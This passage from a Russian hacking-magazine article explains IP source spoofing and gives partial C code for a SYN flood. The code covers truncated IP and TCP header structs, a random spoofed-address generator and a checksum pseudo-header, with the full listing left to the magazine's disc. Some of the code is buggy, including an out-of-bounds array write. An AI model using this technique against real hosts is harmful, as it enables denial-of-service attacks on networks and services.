Excalibur на Си Wolf D.A. aka payhash Хакер, номер #091, стр. 091-128-2 Посмотрим на вторую картинку. Из нее видно, что хост с IP-адресом 192.168.0.1 посылает подделанный IP-пакет с другим обратным IP-адресом, например 192.168.30.30, на машину с IP-адресом 192.168.20.20. Естественно, прочитав пакет с флагом SYN, она ответит пакетом с флагом SYNACK. Прочитав поле отправителя (адрес источника), система направит пакет на другой адрес, и им будет 192.168.30.30, поэтому уже не важно, есть ли такой IP или нет. Практикой проверенно, что если на роутере отсутствует контроль адреса отправителя (FireWall), то такой пакет не будет им отвергнут, а наоборот, «перекинут» дальше. На сегодняшний день провайдеры не ведут подобного контроля на своих маршрутизирующих системах (им это ни к чему). Практика Посмотрим, как на языке Си можно подделать пакет IP. Для этого необходимо создать следующую структуру IP-заголовка: typedef struct hdr_ip { /* Здесь не все поля заголовка IP, подробней смотрим в rfc 792*/ /* Контрольная сумма IP-заголовка */ unsigned short ip_sum; /* Соответственно, аргументы источника и отправителя */ struct in_addr ip_src, ip_dst; }IPHEADER; Манипуляции производятся с параметрами ip_src и ip_dst ult, где покоятся адрес источника и адрес отправителя. Мы будем менять адрес источника пакета случайным образом, чтобы, согласно третьему постулату, создать нагрузку на удаленную систему. Для этого можно использовать следующую функцию – генератор случайных IP-адресов: /*В функцию в виде аргумента на вход подаем указатель на буфер*/ STRING randomizeIP(STRING sp00f2h0st) //где string это [typedef char *STRING;] { // Здесь все донельзя просто. int i=0; BYTE s00fIP[3]; for(i=0; i <= 3; i++){s00fIP[i]=rand()%254;} // генератор IP адресов memset(sp00f2h0st, 0, IPSIZE+1); sprintf(sp00f2h0st, "%d.%d.%d.%d",s00fIP[0], s00fIP[1], s00fIP[2], s00fIP[3]); // Возвращаем указатель на сгенерированный IP адрес. return sp00f2h0st; } Итак, со структурой IP разобрались, с генерацией IP адресов — тоже, теперь посмотрим на структуру TCP-заголовка: typedef struct br0_tcp { /* В качестве сжатия статьи урезаем часть TCP-заголовка За подробной информацией обращайтесь к rfc 793*/ USHORT th_sport; // Порт источник ( может быть любой ) USHORT th_dport; // Порт назначения ( атакующей службы ) unsigned char th_flag; // Этап подключения 0x02 – запрос на начало сеанса #define TH_SYN 0x02 USHORT th_sum; // Контрольная сумма TCP-заголовка }TCPHEADER; Для подсчета контрольных сумм заголовков нам необходимо ввести один псевдозаголовок с такой структурой: typedef struct pseudo_header { struct in_addr saddr; struct in_addr daddr; char zer0; // 0 char ptcl; // Тип протокола IPPROTO_TCP unsigned short tcpl; }PSDHEADER; После этого можно смело считать контрольные суммы заголовков IPv4 протокола (сразу скажем честно: функцию мы дернули из заголовочных файлов ОС FreeBSD, но поскольку это стандарт, в Windows тоже работает :)). В этом коде придется разбираться самому, благо это не трудно (см. листинг на нашем диске). |